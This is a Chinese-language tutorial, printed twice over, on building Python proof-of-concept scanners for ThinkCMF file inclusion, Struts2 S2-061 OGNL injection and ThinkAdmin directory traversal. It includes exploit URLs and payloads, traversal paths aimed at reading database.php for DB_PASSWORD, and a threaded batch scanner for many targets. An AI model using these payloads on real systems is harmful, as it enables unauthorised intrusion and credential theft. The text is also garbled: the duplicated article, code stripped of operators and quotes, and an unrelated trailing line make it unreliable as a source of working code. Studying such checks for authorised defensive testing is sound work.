Python Requests 模块实战3个经典漏洞POC编写与异常处理优化在网络安全领域概念验证Proof of Concept简称POC脚本是验证漏洞存在性的重要工具。本文将深入探讨如何利用Python的Requests模块构建健壮的POC脚本涵盖ThinkCMF文件包含、Struts2远程命令执行和ThinkAdmin目录遍历三个典型案例。不同于简单的漏洞复现我们将重点关注工程化实践中的异常处理、参数化和代码复用技巧。1. POC开发基础与工程化实践1.1 核心组件设计原则一个工业级的POC脚本应当具备以下特征模块化设计分离漏洞检测逻辑与主程序完善的异常处理应对网络超时、服务不可用等情况灵活的参数配置支持命令行参数和配置文件清晰的输出反馈提供详尽的检测结果和调试信息import argparse import requests import sys from urllib.parse import urljoin class BasePOC: def __init__(self, timeout5, ssl_verifyFalse): self.timeout timeout self.ssl_verify ssl_verify self.headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64), Accept: */*, Connection: close } def check_vulnerable(self, response): 子类必须实现的漏洞检测逻辑 raise NotImplementedError def execute(self, url): 执行漏洞检测 try: response requests.get( url, headersself.headers, timeoutself.timeout, verifyself.ssl_verify, allow_redirectsFalse ) return self.check_vulnerable(response) except Exception as e: print(f[!] 检测异常: {str(e)}) return False1.2 异常处理深度优化网络请求中常见的异常类型及处理策略异常类型触发场景处理建议ConnectionError目标不可达重试机制/快速失败Timeout响应超时调整超时阈值SSLError证书问题选择性跳过验证TooManyRedirects重定向循环限制跳转次数RequestException通用请求异常日志记录高级异常处理示例from functools import wraps from time import sleep def retry(max_attempts3, delay1): def decorator(func): wraps(func) def wrapper(*args, **kwargs): attempts 0 while attempts max_attempts: try: return func(*args, **kwargs) except requests.exceptions.RequestException as e: attempts 1 if attempts max_attempts: raise sleep(delay) return wrapper return decorator class RobustRequest: retry(max_attempts3) def safe_request(self, method, url, **kwargs): return requests.request(method, url, **kwargs)2. ThinkCMF文件包含漏洞检测2.1 漏洞原理分析ThinkCMF在1.6.0-2.2.3版本中存在模板文件包含漏洞攻击者可通过构造特殊参数读取任意文件。关键特征漏洞端点/?adisplaytemplateFile检测标志响应中包含ThinkCMF是一款等特征字符串风险等级高危可读取配置文件优化后的检测类class ThinkCMFChecker(BasePOC): def __init__(self): super().__init__() self.vulnerable_path /?adisplaytemplateFileREADME.md self.fingerprints [ ThinkCMF是一款, content management framework, 基于ThinkPHP ] def check_vulnerable(self, response): return any(fp in response.text for fp in self.fingerprints) def check(self, base_url): target_url urljoin(base_url, self.vulnerable_path) print(f[*] 检测目标: {target_url}) try: is_vuln self.execute(target_url) if is_vuln: print(f[] 存在ThinkCMF文件包含漏洞) return True print([-] 未检测到漏洞特征) return False except requests.exceptions.RequestException as e: print(f[!] 请求失败: {str(e)}) return False2.2 工程化改进技巧动态特征检测def dynamic_check(response): # 检查HTTP状态码异常 if response.status_code 500 and file_get_contents in response.text: return True # 检查响应时间差异 normal_response requests.get(urljoin(base_url, /)) time_diff response.elapsed - normal_response.elapsed return time_diff timedelta(seconds1)多因素验证策略validation_factors [ (/?adisplaytemplateFileREADME.md, ThinkCMF), (/?adisplaytemplateFile./config/database.php, DB_PASSWORD), (/?adisplaytemplateFile../config/database.php, DB_PASSWORD) ]3. Struts2 S2-061远程命令执行3.1 漏洞特征与检测CVE-2020-17530漏洞允许通过OGNL表达式注入执行系统命令。关键技术点漏洞参数id检测原理表达式计算导致字符串拼接安全限制需要关闭方法访问限制POC实现class Struts2S2061Checker(BasePOC): def __init__(self): super().__init__() self.payload ( /?id%25%7B%27test%27%2B(2021%2B20).toString()%7D ) def check_vulnerable(self, response): return test2041 in response.text def check(self, base_url): target_url urljoin(base_url, self.payload) print(f[*] 检测S2-061漏洞: {target_url}) try: response requests.get( target_url, headersself.headers, timeoutself.timeout, allow_redirectsFalse ) if self.check_vulnerable(response): print([] 存在S2-061远程命令执行漏洞) return True print([-] 未检测到漏洞特征) return False except Exception as e: print(f[!] 检测异常: {str(e)}) return False3.2 高级检测技术差分分析技术def differential_analysis(base_url): normal_payload /?id123 vuln_payload /?id%25%7B1%2B2%7D normal_resp requests.get(urljoin(base_url, normal_payload)) vuln_resp requests.get(urljoin(base_url, vuln_payload)) # 比较响应差异 diff difflib.ndiff( normal_resp.text.splitlines(), vuln_resp.text.splitlines() ) return any(line.startswith() for line in diff)4. ThinkAdmin目录遍历漏洞检测4.1 POST请求型POC实现CVE-2020-25540漏洞允许通过POST请求遍历服务器目录。关键要点请求方法POSTContent-Type:application/x-www-form-urlencoded检测特征JSON响应中的特定字段完整实现class ThinkAdminChecker(BasePOC): def __init__(self): super().__init__() self.vulnerable_path /admin.html?sadmin/api.Update/node self.required_fields [code, info] def check_vulnerable(self, response): try: data response.json() return all(field in data for field in self.required_fields) except ValueError: return False def check(self, base_url): target_url urljoin(base_url, self.vulnerable_path) post_data {rules: [\./\]} print(f[*] 检测ThinkAdmin目录遍历: {target_url}) try: response requests.post( target_url, headersself.headers, datapost_data, timeoutself.timeout, verifyself.ssl_verify ) if self.check_vulnerable(response): print([] 存在ThinkAdmin目录遍历漏洞) return True print([-] 未检测到漏洞特征) return False except Exception as e: print(f[!] 检测异常: {str(e)}) return False4.2 多线程批量检测from concurrent.futures import ThreadPoolExecutor def batch_check(urls, checker_class, max_workers5): with ThreadPoolExecutor(max_workersmax_workers) as executor: futures { executor.submit(checker_class().check, url): url for url in urls } for future in concurrent.futures.as_completed(futures): url futures[future] try: result future.result() print(f{url} - {存在漏洞 if result else 安全}) except Exception as e: print(f{url}检测失败: {str(e)})5. 工程化增强技巧5.1 配置管理方案config.ini示例[requests] timeout 10 ssl_verify False user_agent SecurityScanner/1.0 [thinkcmf] fingerprints ThinkCMF,content management framework test_files README.md,config/database.php [struts2] payload_variants %25%7B%27test%27%2B(2021%2B20).toString()%7D, %25%7B1%2B1%7D5.2 日志记录系统import logging from logging.handlers import RotatingFileHandler def init_logger(): logger logging.getLogger(poc_scanner) logger.setLevel(logging.DEBUG) # 文件日志(自动轮转) file_handler RotatingFileHandler( scan.log, maxBytes10*1024*1024, backupCount5 ) file_handler.setFormatter(logging.Formatter( %(asctime)s - %(levelname)s - %(message)s )) # 控制台日志 console_handler logging.StreamHandler() console_handler.setLevel(logging.INFO) logger.addHandler(file_handler) logger.addHandler(console_handler) return logger5.3 性能优化策略连接池配置from requests.adapters import HTTPAdapter session requests.Session() adapter HTTPAdapter( pool_connections10, pool_maxsize50, max_retries3 ) session.mount(http://, adapter) session.mount(https://, adapter)缓存机制import diskcache as dc cache dc.Cache(request_cache) cache.memoize(expire3600) def cached_request(url): return requests.get(url)在实际项目中我们还需要考虑分布式扫描、结果存储和可视化等高级功能。通过将这些技术组合应用可以构建出企业级的漏洞检测系统而不仅仅是简单的POC脚本。
Python Requests 模块实战3个经典漏洞POC编写与异常处理优化在网络安全领域概念验证Proof of Concept简称POC脚本是验证漏洞存在性的重要工具。本文将深入探讨如何利用Python的Requests模块构建健壮的POC脚本涵盖ThinkCMF文件包含、Struts2远程命令执行和ThinkAdmin目录遍历三个典型案例。不同于简单的漏洞复现我们将重点关注工程化实践中的异常处理、参数化和代码复用技巧。1. POC开发基础与工程化实践1.1 核心组件设计原则一个工业级的POC脚本应当具备以下特征模块化设计分离漏洞检测逻辑与主程序完善的异常处理应对网络超时、服务不可用等情况灵活的参数配置支持命令行参数和配置文件清晰的输出反馈提供详尽的检测结果和调试信息import argparse import requests import sys from urllib.parse import urljoin class BasePOC: def __init__(self, timeout5, ssl_verifyFalse): self.timeout timeout self.ssl_verify ssl_verify self.headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64), Accept: */*, Connection: close } def check_vulnerable(self, response): 子类必须实现的漏洞检测逻辑 raise NotImplementedError def execute(self, url): 执行漏洞检测 try: response requests.get( url, headersself.headers, timeoutself.timeout, verifyself.ssl_verify, allow_redirectsFalse ) return self.check_vulnerable(response) except Exception as e: print(f[!] 检测异常: {str(e)}) return False1.2 异常处理深度优化网络请求中常见的异常类型及处理策略异常类型触发场景处理建议ConnectionError目标不可达重试机制/快速失败Timeout响应超时调整超时阈值SSLError证书问题选择性跳过验证TooManyRedirects重定向循环限制跳转次数RequestException通用请求异常日志记录高级异常处理示例from functools import wraps from time import sleep def retry(max_attempts3, delay1): def decorator(func): wraps(func) def wrapper(*args, **kwargs): attempts 0 while attempts max_attempts: try: return func(*args, **kwargs) except requests.exceptions.RequestException as e: attempts 1 if attempts max_attempts: raise sleep(delay) return wrapper return decorator class RobustRequest: retry(max_attempts3) def safe_request(self, method, url, **kwargs): return requests.request(method, url, **kwargs)2. ThinkCMF文件包含漏洞检测2.1 漏洞原理分析ThinkCMF在1.6.0-2.2.3版本中存在模板文件包含漏洞攻击者可通过构造特殊参数读取任意文件。关键特征漏洞端点/?adisplaytemplateFile检测标志响应中包含ThinkCMF是一款等特征字符串风险等级高危可读取配置文件优化后的检测类class ThinkCMFChecker(BasePOC): def __init__(self): super().__init__() self.vulnerable_path /?adisplaytemplateFileREADME.md self.fingerprints [ ThinkCMF是一款, content management framework, 基于ThinkPHP ] def check_vulnerable(self, response): return any(fp in response.text for fp in self.fingerprints) def check(self, base_url): target_url urljoin(base_url, self.vulnerable_path) print(f[*] 检测目标: {target_url}) try: is_vuln self.execute(target_url) if is_vuln: print(f[] 存在ThinkCMF文件包含漏洞) return True print([-] 未检测到漏洞特征) return False except requests.exceptions.RequestException as e: print(f[!] 请求失败: {str(e)}) return False2.2 工程化改进技巧动态特征检测def dynamic_check(response): # 检查HTTP状态码异常 if response.status_code 500 and file_get_contents in response.text: return True # 检查响应时间差异 normal_response requests.get(urljoin(base_url, /)) time_diff response.elapsed - normal_response.elapsed return time_diff timedelta(seconds1)多因素验证策略validation_factors [ (/?adisplaytemplateFileREADME.md, ThinkCMF), (/?adisplaytemplateFile./config/database.php, DB_PASSWORD), (/?adisplaytemplateFile../config/database.php, DB_PASSWORD) ]3. Struts2 S2-061远程命令执行3.1 漏洞特征与检测CVE-2020-17530漏洞允许通过OGNL表达式注入执行系统命令。关键技术点漏洞参数id检测原理表达式计算导致字符串拼接安全限制需要关闭方法访问限制POC实现class Struts2S2061Checker(BasePOC): def __init__(self): super().__init__() self.payload ( /?id%25%7B%27test%27%2B(2021%2B20).toString()%7D ) def check_vulnerable(self, response): return test2041 in response.text def check(self, base_url): target_url urljoin(base_url, self.payload) print(f[*] 检测S2-061漏洞: {target_url}) try: response requests.get( target_url, headersself.headers, timeoutself.timeout, allow_redirectsFalse ) if self.check_vulnerable(response): print([] 存在S2-061远程命令执行漏洞) return True print([-] 未检测到漏洞特征) return False except Exception as e: print(f[!] 检测异常: {str(e)}) return False3.2 高级检测技术差分分析技术def differential_analysis(base_url): normal_payload /?id123 vuln_payload /?id%25%7B1%2B2%7D normal_resp requests.get(urljoin(base_url, normal_payload)) vuln_resp requests.get(urljoin(base_url, vuln_payload)) # 比较响应差异 diff difflib.ndiff( normal_resp.text.splitlines(), vuln_resp.text.splitlines() ) return any(line.startswith() for line in diff)4. ThinkAdmin目录遍历漏洞检测4.1 POST请求型POC实现CVE-2020-25540漏洞允许通过POST请求遍历服务器目录。关键要点请求方法POSTContent-Type:application/x-www-form-urlencoded检测特征JSON响应中的特定字段完整实现class ThinkAdminChecker(BasePOC): def __init__(self): super().__init__() self.vulnerable_path /admin.html?sadmin/api.Update/node self.required_fields [code, info] def check_vulnerable(self, response): try: data response.json() return all(field in data for field in self.required_fields) except ValueError: return False def check(self, base_url): target_url urljoin(base_url, self.vulnerable_path) post_data {rules: [\./\]} print(f[*] 检测ThinkAdmin目录遍历: {target_url}) try: response requests.post( target_url, headersself.headers, datapost_data, timeoutself.timeout, verifyself.ssl_verify ) if self.check_vulnerable(response): print([] 存在ThinkAdmin目录遍历漏洞) return True print([-] 未检测到漏洞特征) return False except Exception as e: print(f[!] 检测异常: {str(e)}) return False4.2 多线程批量检测from concurrent.futures import ThreadPoolExecutor def batch_check(urls, checker_class, max_workers5): with ThreadPoolExecutor(max_workersmax_workers) as executor: futures { executor.submit(checker_class().check, url): url for url in urls } for future in concurrent.futures.as_completed(futures): url futures[future] try: result future.result() print(f{url} - {存在漏洞 if result else 安全}) except Exception as e: print(f{url}检测失败: {str(e)})5. 工程化增强技巧5.1 配置管理方案config.ini示例[requests] timeout 10 ssl_verify False user_agent SecurityScanner/1.0 [thinkcmf] fingerprints ThinkCMF,content management framework test_files README.md,config/database.php [struts2] payload_variants %25%7B%27test%27%2B(2021%2B20).toString()%7D, %25%7B1%2B1%7D5.2 日志记录系统import logging from logging.handlers import RotatingFileHandler def init_logger(): logger logging.getLogger(poc_scanner) logger.setLevel(logging.DEBUG) # 文件日志(自动轮转) file_handler RotatingFileHandler( scan.log, maxBytes10*1024*1024, backupCount5 ) file_handler.setFormatter(logging.Formatter( %(asctime)s - %(levelname)s - %(message)s )) # 控制台日志 console_handler logging.StreamHandler() console_handler.setLevel(logging.INFO) logger.addHandler(file_handler) logger.addHandler(console_handler) return logger5.3 性能优化策略连接池配置from requests.adapters import HTTPAdapter session requests.Session() adapter HTTPAdapter( pool_connections10, pool_maxsize50, max_retries3 ) session.mount(http://, adapter) session.mount(https://, adapter)缓存机制import diskcache as dc cache dc.Cache(request_cache) cache.memoize(expire3600) def cached_request(url): return requests.get(url)在实际项目中我们还需要考虑分布式扫描、结果存储和可视化等高级功能。通过将这些技术组合应用可以构建出企业级的漏洞检测系统而不仅仅是简单的POC脚本。
双梁正问题 【 torch 实战】（Python代码实现）)
